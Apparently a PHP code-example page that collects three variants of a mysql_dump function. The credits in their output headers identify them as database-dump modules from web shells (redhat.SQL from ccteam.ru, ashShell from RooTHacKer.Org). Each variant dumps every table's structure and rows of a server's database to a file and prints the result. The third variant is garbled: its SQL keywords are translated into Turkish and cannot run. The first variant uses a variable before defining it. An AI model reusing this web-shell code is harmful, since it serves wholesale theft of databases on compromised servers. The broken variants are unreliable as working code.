function mysql_dump($set)
 {
     global $shver;
     $sock = $set["sock"];
     $db = $set["db"];
     $print = $set["print"];
     $nl2br = $set["nl2br"];
     $file = $set["file"];
     $add_drop = $set["add_drop"];
     $tabs = $set["tabs"];
     $onlytabs = $set["onlytabs"];
     $ret = array();
     $ret["err"] = array();
     if (!is_resource($sock)) {
         echo "Error: \$sock is not valid resource.";
     }
     if (empty($db)) {
         $db = "db";
     }
     if (empty($print)) {
         $print = 0;
     }
     if (empty($nl2br)) {
         $nl2br = 0;
     }
     if (empty($add_drop)) {
         $add_drop = true;
     }
     if (empty($file)) {
         global $win;
         if ($win) {
             $file = "C:\\tmp\\dump_" . $SERVER_NAME . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
         } else {
             $file = "/tmp/dump_" . $SERVER_NAME . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
         }
     }
     if (!is_array($tabs)) {
         $tabs = array();
     }
     if (empty($add_drop)) {
         $add_drop = true;
     }
     if (sizeof($tabs) == 0) {
         // retrive tables-list
         $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
         if (mysql_num_rows($res) > 0) {
             while ($row = mysql_fetch_row($res)) {
                 $tabs[] = $row[0];
             }
         }
     }
     $SERVER_ADDR = getenv("SERVER_ADDR");
     $SERVER_NAME = getenv("SERVER_NAME");
     $out = "" . $shver . "";
     $c = count($onlytabs);
     foreach ($tabs as $tab) {
         if (in_array($tab, $onlytabs) or !$c) {
             if ($add_drop) {
                 $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
             }
             // recieve query for create table structure
             $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
             if (!$res) {
                 $ret["err"][] = mysql_smarterror();
             } else {
                 $row = mysql_fetch_row($res);
                 $out .= $row["1"] . ";\n\n";
                 // recieve table variables
                 $res = mysql_query("SELECT * FROM `{$tab}`", $sock);
                 if (mysql_num_rows($res) > 0) {
                     while ($row = mysql_fetch_assoc($res)) {
                         $keys = implode("`, `", array_keys($row));
                         $values = array_values($row);
                         foreach ($values as $k => $v) {
                             $values[$k] = addslashes($v);
                         }
                         $values = implode("', '", $values);
                         $sql = "INSERT INTO `{$tab}`(`" . $keys . "`) VALUES ('" . $values . "');\n";
                         $out .= $sql;
                     }
                 }
             }
         }
     }
     $out .= "#---------------------------------------------------------------------------------\n\n";
     if ($file) {
         $fp = fopen($file, "w");
         if (!$fp) {
             $ret["err"][] = 2;
         } else {
             fwrite($fp, $out);
             fclose($fp);
         }
     }
     if ($print) {
         if ($nl2br) {
             echo nl2br($out);
         } else {
             echo $out;
         }
     }
     return $out;
 }
 function mysql_dump($set)
 {
     global $shver;
     $sock = $set["sock"];
     $db = $set["db"];
     $print = $set["print"];
     $nl2br = $set["nl2br"];
     $file = $set["file"];
     $add_drop = $set["add_drop"];
     $tabs = $set["tabs"];
     $onlytabs = $set["onlytabs"];
     $ret = array();
     $ret["err"] = array();
     if (!is_resource($sock)) {
         echo "Error: \$sock is not valid resource.";
     }
     if (empty($db)) {
         $db = "db";
     }
     if (empty($print)) {
         $print = 0;
     }
     if (empty($nl2br)) {
         $nl2br = 0;
     }
     if (empty($add_drop)) {
         $add_drop = TRUE;
     }
     if (empty($file)) {
         $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
     }
     if (!is_array($tabs)) {
         $tabs = array();
     }
     if (empty($add_drop)) {
         $add_drop = TRUE;
     }
     if (sizeof($tabs) == 0) {
         // retrive tables-list
         $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
         if (mysql_num_rows($res) > 0) {
             while ($row = mysql_fetch_row($res)) {
                 $tabs[] = $row[0];
             }
         }
     }
     $out = "# Dumped by redhat.SQL v. " . $shver . "\n# Home page: http://ccteam.ru\n#\n# Host settings:\n# MySQL version: (" . mysql_get_server_info() . ") running on " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "\n# Date: " . date("d.m.Y H:i:s") . "\n# DB: \"" . $db . "\"\n#---------------------------------------------------------\n";
     $c = count($onlytabs);
     foreach ($tabs as $tab) {
         if (in_array($tab, $onlytabs) or !$c) {
             if ($add_drop) {
                 $out .= "DROP TABLE IF EXISTS `" . $tab . "`;\n";
             }
             // recieve query for create table structure
             $res = mysql_query("SHOW CREATE TABLE `" . $tab . "`", $sock);
             if (!$res) {
                 $ret["err"][] = mysql_smarterror();
             } else {
                 $row = mysql_fetch_row($res);
                 $out .= $row["1"] . ";\n\n";
                 // recieve table variables
                 $res = mysql_query("SELECT * FROM `{$tab}`", $sock);
                 if (mysql_num_rows($res) > 0) {
                     while ($row = mysql_fetch_assoc($res)) {
                         $keys = implode("`, `", array_keys($row));
                         $values = array_values($row);
                         foreach ($values as $k => $v) {
                             $values[$k] = addslashes($v);
                         }
                         $values = implode("', '", $values);
                         $sql = "INSERT INTO `{$tab}`(`" . $keys . "`) VALUES ('" . $values . "');\n";
                         $out .= $sql;
                     }
                 }
             }
         }
     }
     $out .= "#---------------------------------------------------------------------------------\n\n";
     if ($file) {
         $fp = fopen($file, "w");
         if (!$fp) {
             $ret["err"][] = 2;
         } else {
             fwrite($fp, $out);
             fclose($fp);
         }
     }
     if ($print) {
         if ($nl2br) {
             echo nl2br($out);
         } else {
             echo $out;
         }
     }
     return $out;
 }
Beispiel #3
0
 function mysql_dump($set)
 {
     global $shver;
     $sock = $set["sock"];
     $db = $set["db"];
     $print = $set["print"];
     $nl2br = $set["nl2br"];
     $file = $set["file"];
     $add_drop = $set["add_drop"];
     $tabs = $set["tabs"];
     $onlytabs = $set["onlytabs"];
     $ret = array();
     $ret["err"] = array();
     if (!is_resource($sock)) {
         echo "Hata: \$sock Dogrulamadi";
     }
     if (empty($db)) {
         $db = "db";
     }
     if (empty($print)) {
         $print = 0;
     }
     if (empty($nl2br)) {
         $nl2br = 0;
     }
     if (empty($add_drop)) {
         $add_drop = true;
     }
     if (empty($file)) {
         $file = $tmpdir . "dump_" . getenv("SERVER_NAME") . "_" . $db . "_" . date("d-m-Y-H-i-s") . ".sql";
     }
     if (!is_array($tabs)) {
         $tabs = array();
     }
     if (empty($add_drop)) {
         $add_drop = true;
     }
     if (sizeof($tabs) == 0) {
         // retrive tables-list
         $res = mysql_query("SHOW TABLES FROM " . $db, $sock);
         if (mysql_num_rows($res) > 0) {
             while ($row = mysql_fetch_row($res)) {
                 $tabs[] = $row[0];
             }
         }
     }
     $out = "# Dumped by ashShell.SQL " . $shver . "\r\n# Ana Sayfa: http://www.RooTHacKer.Org | DaMaR |/\r\n#\r\n# Host ayarlari:\r\n# MySQL versiyon: (" . mysql_get_server_info() . ") Su an calisan " . getenv("SERVER_ADDR") . " (" . getenv("SERVER_NAME") . ")" . "\r\n# Tarih: " . date("d.m.Y H:i:s") . "\r\n# DB: \"" . $db . "\"\r\n#---------------------------------------------------------\r\n";
     $c = count($onlytabs);
     foreach ($tabs as $tab) {
         if (in_array($tab, $onlytabs) or !$c) {
             if ($add_drop) {
                 $out .= "Ekle Table , exits `" . $tab . "`;\n";
             }
             // recieve query for Olustur table structure
             $res = mysql_query("Olusan tabloyu goster `" . $tab . "`", $sock);
             if (!$res) {
                 $ret["err"][] = mysql_smarterror();
             } else {
                 $row = mysql_fetch_row($res);
                 $out .= $row["1"] . ";\n\n";
                 // recieve table variables
                 $res = mysql_query("Sec * FROM `{$tab}`", $sock);
                 if (mysql_num_rows($res) > 0) {
                     while ($row = mysql_fetch_assoc($res)) {
                         $keys = implode("`, `", array_keys($row));
                         $values = array_values($row);
                         foreach ($values as $k => $v) {
                             $values[$k] = addslashes($v);
                         }
                         $values = implode("', '", $values);
                         $sql = "Icine Sok `{$tab}`(`" . $keys . "`) VALUES ('" . $values . "');\n";
                         $out .= $sql;
                     }
                 }
             }
         }
     }
     $out .= "#---------------------------------------------------------------------------------\n\n";
     if ($file) {
         $fp = fopen($file, "w");
         if (!$fp) {
             $ret["err"][] = 2;
         } else {
             fwrite($fp, $out);
             fclose($fp);
         }
     }
     if ($print) {
         if ($nl2br) {
             echo nl2br($out);
         } else {
             echo $out;
         }
     }
     return $out;
 }